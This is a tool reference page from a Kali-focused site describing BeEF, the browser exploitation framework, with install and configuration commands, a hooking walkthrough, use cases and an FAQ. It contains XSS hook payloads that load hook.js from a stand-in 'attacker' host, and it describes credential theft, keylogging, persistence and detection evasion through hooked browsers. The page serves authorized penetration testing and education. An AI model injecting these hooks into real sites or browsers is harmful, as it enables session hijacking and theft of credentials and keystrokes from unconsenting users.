GO KALI FREE

BeEF

Exploitation

Advancedhigh risk

BeEF (Browser Exploitation Framework) is a penetration testing tool focusing on web browsers. It hooks browsers and uses them as beachheads for further attacks.

Installation

sudo apt install beef-xss

Basic Syntax

beef-xss

Quick Facts

Full Name
BeEF (Browser Exploitation Framework)
License
Apache 2.0
Written In
Ruby, JavaScript
Platforms
Linux, macOS
Category
Browser Exploitation
Modules
400+ command modules
First Release
2008
Author
Wade Alcorn

Tool Overview

BeEF is the leading browser exploitation framework that uses hooked browsers as beachheads for client-side attacks. When an XSS vulnerability allows JavaScript injection, BeEF's hook.js loads in the victim's browser, establishing a persistent communication channel with the BeEF server.

The framework's web-based control panel shows all hooked browsers in real-time with detailed information about the browser type, version, installed plugins, and security posture. Over 400 command modules enable data theft, session hijacking, network scanning, social engineering, and more.

BeEF integrates with Metasploit for advanced post-exploitation, allowing seamless transitions from browser hooks to system-level compromise. It is essential for demonstrating client-side attack vectors during authorized penetration tests.

Common Commands

beef-xssStart BeEF
<script src="http://attacker:3000/hook.js"></script>Hook script
sudo nano /etc/beef-xss/config.yamlConfigure credentials, host, and port in the config file
curl http://127.0.0.1:3000/ui/panelAccess the BeEF control panel (default beef/beef login)
<img src="http://attacker:3000/hook.js" onerror="...">Alternate hook injection via an image error handler
msfconsole -r /usr/share/beef-xss/modules/msf.rcLoad the Metasploit resource script for browser exploitation
curl http://127.0.0.1:3000/api/hooks?token=TOKENQuery hooked browsers through the BeEF RESTful API

Step-by-Step Guide

  1. 1Start BeEF with beef-xss
  2. 2Access panel at http://127.0.0.1:3000/ui/panel
  3. 3Get hook.js URL
  4. 4Inject via XSS vulnerability
  5. 5Control hooked browsers from panel

Warnings

Use Cases

Browser Hooking

Hook victim browsers through XSS injection for persistent remote control.

Credential Theft

Steal saved credentials, session cookies, and form data from hooked browsers.

Network Fingerprinting

Scan internal networks from the hooked browser to map behind-firewall resources.

Social Engineering

Create fake login prompts and social engineering dialogs through the hooked browser.

Metasploit Integration

Launch Metasploit exploits through the hooked browser for system-level compromise.

Persistence

Maintain access through browser re-hooking and persistent backdoor communication.

Related Tools

XSSer

Web Application

Automated XSS detection framework with WAF bypass and payload generation.

XSStrike

Web Application

Advanced XSS detection suite with intelligent payload generation and context analysis.

Metasploit

Exploitation

Exploitation framework with browser exploit modules for system-level compromise.

Social Engineering Toolkit

Social Engineering

Social engineering framework for phishing, credential harvesting, and malicious file generation.

Responder

Sniffing & Spoofing

LLMNR/NBT-NS/MDNS poisoner for credential harvesting on local networks.

Frequently Asked Questions

What is BeEF used for?

BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It hooks browsers through XSS injections and uses them as beachheads to launch client-side attacks, steal credentials, and assess browser security.

How does BeEF hook a browser?

BeEF hooks a browser by injecting a JavaScript file (hook.js) into a web page, typically through an XSS vulnerability or malicious link. Once loaded, the browser communicates with the BeEF server and becomes controllable through the web UI.

Can BeEF control any browser?

BeEF can hook most modern browsers, but its capabilities depend on the browser and installed plugins. Internet Explorer typically provides the most module options, while modern Chrome and Firefox have stronger security boundaries.

Is BeEF legal to use?

BeEF is legal for authorized penetration testing and research. Hooking browsers without consent is illegal and violates computer fraud laws. Always use in controlled lab environments or with explicit authorization.

What is browser hooking in BeEF?

Browser hooking is the process of injecting BeEF's hook.js script into a victim's browser, establishing a communication channel that allows the attacker to execute commands and modules against the hooked browser.

How does BeEF use XSS payloads?

BeEF leverages XSS vulnerabilities to inject its hook.js script into target browsers. Once hooked, BeEF can execute over 400 command modules for data theft, network scanning, and social engineering.

What command modules does BeEF provide?

BeEF provides 400+ command modules including credential theft, keystroke logging, screenshot capture, network scanning, social engineering dialogs, browser fingerprinting, and Metasploit integration.

How can BeEF maintain persistence on hooked browsers?

BeEF can maintain persistence through re-hooking techniques, persistent XSS, and browser extension installation, though modern browsers have security features that limit long-term persistence.

How can BeEF avoid detection by security software?

BeEF can use various evasion techniques including payload encoding, traffic obfuscation, and HTTPS for hook communication, though modern security software may still detect hook.js injection.

Can BeEF work with modern browsers like Chrome and Firefox?

Yes, BeEF works with modern browsers, but some modules may be restricted by security features like Content Security Policy, SameSite cookies, and sandboxing in newer browser versions.

How do I configure BeEF for HTTPS hooking?

Generate an SSL certificate and configure BeEF in /etc/beef-xss/config.yaml to use HTTPS. Modern browsers block HTTP hook scripts on HTTPS pages, so HTTPS hooking is required for secure targets.

Can BeEF integrate with Metasploit?

Yes, BeEF integrates with Metasploit for advanced post-exploitation. Load the integration with: msfconsole -r /usr/share/beef-xss/modules/msf.rc. This enables system-level attacks through browser hooks.

How many command modules does BeEF provide?

BeEF provides 400+ command modules organized by category: browser, network, social engineering, exploitation, and persistence. Modules range from simple browser fingerprinting to complex Metasploit exploitation chains.

Can BeEF capture network traffic from hooked browsers?

Yes, BeEF can use hooked browsers as network proxies to scan internal networks, access internal web applications, and capture traffic through the browser's network connection.

How do I start BeEF on a custom port?

Configure the port in /etc/beef-xss/config.yaml or use the -p flag: beef-xss -p 3001. The web UI and hook server run on the specified port.

Can BeEF perform keylogging on hooked browsers?

Yes, BeEF includes keylogging modules that capture keystrokes from hooked browsers. The hook.js script intercepts keyboard events and sends them back to the BeEF server in real-time.

How do I hook browsers without an XSS vulnerability?

BeEF typically requires an XSS injection point. Alternatives include social engineering (luring users to a page with the hook), browser extension installation, or combining with tools like SET for phishing delivery.

Can BeEF detect the hooked browser's plugins?

Yes, BeEF fingerprints the hooked browser including installed plugins, extensions, screen resolution, operating system, and other client-side information through JavaScript detection techniques.

How do I stop the BeEF server?

Press Ctrl+C in the BeEF terminal or use kill $(pgrep beef) to stop the server. BeEF gracefully shuts down and disconnects all hooked browsers when stopped.

Tags

#exploitation

Output Explanation

Web panel shows hooked browsers. Can run commands and modules against them.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.